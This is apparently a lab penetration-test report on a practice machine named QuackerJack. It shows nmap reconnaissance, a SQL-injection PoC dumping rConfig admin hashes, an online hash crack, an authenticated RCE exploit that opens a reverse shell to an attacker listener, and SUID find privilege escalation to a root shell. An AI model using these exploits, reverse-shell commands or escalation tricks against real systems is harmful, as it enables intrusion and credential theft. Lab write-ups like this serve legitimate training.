report

Report - QuackerJack

Author: Henry Post
Target: QUACKERJACK
Target IP: 192.168.52.67
Date: 04/08/2026

Executive Summary

This machine, QuackerJack, was enumerated by `nmap` to have port `8081` open, running rConfig version `3.9.4`.

rConfig was vulnerable to two CVEs.

`CVE-2020-10220` was used to dump users and password hashes from the victim, and `CVE-2019-19509` was used to get a non-root reverse shell.

A SUID-set binary was found at `/usr/bin/find`, and this was used to pivot to a root shell.

Recommendations

Update rConfig to the latest non-vulnerable version.

Do not set SUID bit on binaries that do not need it.

Use strong passwords for admin accounts.

References

- https://gtfobins.org/gtfobins/find/
- https://www.exploit-db.com/exploits/47982
- https://md5.gromweb.com/?md5=dc40b85276a1f4d7cb35f154236aa1b2
- https://raw.githubusercontent.com/v1k1ngfr/exploits-rconfig/refs/heads/master/rconfig_CVE-2020-10220.py

Recon

`nmap -sV -sC -T4 -oA initial QUACKERJACK` shows us we have port `8081` open, serving the HTTPS service.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -T4 -oA initial QUACKERJACK
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-08 20:22 +0000
Nmap scan report for QUACKERJACK (192.168.67.57)
Host is up (0.00061s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.2
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.49.67
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 a2:ec:75:8d:86:9b:a3:0b:d3:b6:2f:64:04:f9:fd:25 (RSA)
|   256 b6:d2:fd:bb:08:9a:35:02:7b:33:e3:72:5d:dc:64:82 (ECDSA)
|_  256 08:95:d6:60:52:17:3d:03:e4:7d:90:fd:b2:ed:44:86 (ED25519)
80/tcp   open  http        Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
|_http-title: Apache HTTP Server Test Page powered by CentOS
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp  open  netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp open  mysql       MariaDB 10.3.23 or earlier (unauthorized)
8081/tcp open  http        Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
Service Info: OS: Unix
```

We notice we can access port `8081` over HTTPS.

Non-root access

SQL Injection

To dump the users, we use an SQL injection attack, specifically CVE-2020-10220. We need to authenticate to get remote code execution to trigger.

```
  GNU nano 8.7.1                                rconfig_CVE-2020-10220.py
# [+] Extracting 10 first users :
# admin:1:63a9f0ea7bb98050796b649e85481845
# Maybe no more information ?
# Maybe no more information ?
# [snip]
# [+] Extracting 10 first devices :
# 127-0-0-1:127.0.0.1::ocdvulnpass:
# deviceTestName:1.1.1.1:myusertest:mysecret:myenablesecret
# Maybe no more information ?
# Maybe no more information ?
# [snip]
# Done

#!/usr/bin/python3
import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print ("rconfig 3.9 - SQL Injection PoC")
if len(sys.argv) != 2:
    print ("[+] Usage : ./rconfig_exploit.py https://target")
    exit()

vuln_page="/commands.inc.php"
vuln_parameters="?searchOption=contains&searchField=vuln&search=search&searchColumn=command"
given_target = sys.argv[1]
target =  given_target
target += vuln_page
target += vuln_parameters

request = requests.session()
request.verify=False
dashboard_request = request.get(target+vuln_page, allow_redirects=False, verify=False)


def extractDBinfos(myTarget=None,myPayload=None):
        """
        Extract information from database
        Args:
                - target+payload (String)
        Returns:
                - payload result (String)
        """
        result = ""
        encoded_request = myTarget+myPayload
                                        [ Wrote 109 lines ]
^G Help      ^O Write Out   ^F Where Is    ^K Cut       ^T Execute   ^C Location   M-U Undo
^X Exit      ^R Read File   ^\ Replace     ^U Paste     ^J Justify   ^/ Go To Line M-E Redo
```

```
# to get username and password
wget https://raw.githubusercontent.com/v1k1ngfr/exploits-rconfig/refs/heads/master/rconfig_CVE-2020-10220.py

# nano edit the file and add this to bypass SSL
# request.verify = False
nano rconfig_CVE-2020-10220.py

python rconfig_CVE-2020-10220.py https://QUACKERJACK:8081/

<<EOF

output:
rconfig 3.9 - SQL Injection PoC
```

```
[+] Triggering the payloads on https://QUACKERJACK:8081//commands.inc.php
[+] Extracting the current DB name :
rconfig
[+] Extracting 10 first users :
admin:1:dc40b85276a1f4d7cb35f154236aa1b2
Maybe no more information ?
Maybe no more information ?
toljscxnuq:764:21232f297a57a5a743894a0e4a801fc3
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
[+] Extracting 10 first devices :
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Done

EOF
```

```
┌──(kali㉿kali)-[~]
└─$ nano rconfig_CVE-2020-10220.py

┌──(kali㉿kali)-[~]
└─$ python rconfig_CVE-2020-10220.py https://QUACKERJACK:8081/
rconfig 3.9 - SQL Injection PoC
[+] Triggering the payloads on https://QUACKERJACK:8081//commands.inc.php
[+] Extracting the current DB name :
rconfig
[+] Extracting 10 first users :
admin:1:dc40b85276a1f4d7cb35f154236aa1b2
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
[+] Extracting 10 first devices :
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Maybe no more information ?
Done

┌──(kali㉿kali)-[~]
└─$ date
Wed Apr  8 08:29:45 PM UTC 2026

┌──(kali㉿kali)-[~]
└─$
```

We have a password hash.

```
admin:1:dc40b85276a1f4d7cb35f154236aa1b2
```

We crack it easily, using a site.

- https://md5.gromweb.com/?md5=dc40b85276a1f4d7cb35f154236aa1b2

Our credential is:

```
admin:abgrtyu
```

Remote Code Execution

We can now perform RCE.

https://www.exploit-db.com/exploits/47982, CVE-2019-19509.

This comes pre-loaded on Kali's hard drive.

```
cp /usr/share/exploitdb/exploits/php/webapps/47982.py ./

# get attacker IP
ip a|grep 192

# run in separate shell. we need to use port 80 here because the victim is
blocked from reaching out to non-http/https port numbers.
nc -nvlp 80

# make request.verify = False
# request = requests.session()
# request.verify = False
nano 47982.py

python 47982.py https://QUACKERJACK:8081/ admin abgrtyu 192.168.49.67 80
```

```
┌──(kali㉿kali)-[~]
└─$ python 47982.py https://QUACKERJACK:8081/ admin abgrtyu 192.168.49.67 80
rconfig - CVE-2019-19509 - Web authenticated RCE
[+] Logged in successfully, triggering the payload ...
[+] Check your listener !
```

```
┌──(kali㉿kali)-[~]
└─$ nano 47982.py

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.49.67] from (UNKNOWN) [192.168.67.57] 56072
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
bash-4.2$ hostname
hostname
quackerjack
bash-4.2$ date
date
Wed Apr  8 16:35:09 EDT 2026
bash-4.2$
```

We have non-root shell.

Root access

To get root access, it is somewhat simple.

1. Find a SUID-set binary,
2. Use GTFOBins to escalate.

```
find / -perm -u=s -type f 2>/dev/null | grep -v snap

<<EOF
/usr/bin/find
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/su
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/fusermount
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
```

```
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
EOF
```

We can pick `/usr/bin/find`.

```
find . -exec /bin/sh -p \; -quit
```

And just like that, we have root shell.

```
bash-4.2$ find . -exec /bin/sh -p \; -quit
find . -exec /bin/sh -p \; -quit
whoami
root
hostname
quackerjack
pwd
/home/rconfig/www/lib/ajaxHandlers
cd /root
ls
proof.txt
cat proof.txt
32aca24fd7fe613b132989bc19cc1724
```